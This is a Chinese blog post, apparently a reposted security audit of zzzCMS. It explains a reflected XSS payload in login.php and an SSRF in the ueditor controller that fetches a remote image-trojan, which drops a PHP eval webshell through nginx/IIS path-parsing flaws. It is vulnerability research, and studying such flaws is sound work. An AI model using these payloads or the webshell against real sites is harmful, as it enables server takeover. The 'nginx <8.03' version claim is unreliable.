zzzCMS小计

XSS

路径:/plugins/template/login.php
在这里插入图片描述
url的值:

$url =conf('runmode')==1 ? $path.'index.php?location=user&backurl='.$backurl.'&act=' : $path.'?location=user&backurl='.$backurl.'&act=' ;

这里的$backurl 是我们可控的:

$backurl=getform('backurl','get');

另外还要注意到,这里 href 没有用双引号包裹住$url,这就导致我们只要用空格就能分离属性,构造出我们想要的属性,可以 F12 看一下源码:
在这里插入图片描述
我们要达到的目的:

<a href=/?location=user&backurl=test onmouseover=javascript:alert(1111) test=&act=login>

$backurl=test onmouseover=javascript:alert(1111) test=

弹框成功:
在这里插入图片描述

ssrf+中间件解析

漏洞文件:

/plugins/ueditor/php/controller.php

漏洞代码:
在这里插入图片描述
可以看到这一段接收用户输入的 url ,另外还有两个参数:
在这里插入图片描述
用户输入 upfolder 参数,为上传文件的路径,另外还有 action 要为 catchimage

我们可控的两个参数就是 actionupfolder,看一下对这两个参数有什么具体的过滤措施:

  • safeword(): 在这里插入图片描述
    函数过滤了其他符号,仅保留字母和数字

  • safe_url()
    在这里插入图片描述
    这里对 url ,保留输入的url中的 a-zA-Z0-9,.:=@?_\/\s]

然后再看看传输文件的函数 down_url()
在这里插入图片描述
在这里插入图片描述
重点看对 url 的过滤,函数没有对 ip和域名进行过滤,另外文件名和文件后缀来自于我们输入的 url ,保存的文件没有进行重命名,只是要求文件后缀不能为空,还有文件后缀必须在白名单内,看一下 conf()
在这里插入图片描述
可以看到我们不能看到合法的文件后缀,但是,可以看到与 controller.php 同目录下有个 config.json 文件,里面有一项:

"fileAllowFiles": [".png", ".jpg", ".jpeg", ".gif", ".bmp", ".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg", ".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid", ".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml"],

简单地看了一下,一些危险文件后缀都被过滤掉了,于是直接制作图片木马(虽然手段很老了),文件内容:<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>,木马制作好放到自己的服务器上,然后在访问 contorller.php 发送请求,
在这里插入图片描述
这时候再访问:http://www.gohosts.com/upload/file/2.jpg/.php

然后就可以在/upload/file 路径下看到生成了一个 shell.php
在这里插入图片描述
查看 shell.php
在这里插入图片描述
可以看到写入 shell 成功。这里利用到了 nginx <8.03 和 IIS 7.0/7.5 中间件的解析漏洞。

发布了18 篇原创文章 · 获赞 0 · 访问量 453

猜你喜欢

转载自blog.csdn.net/oubasangdadada/article/details/104834281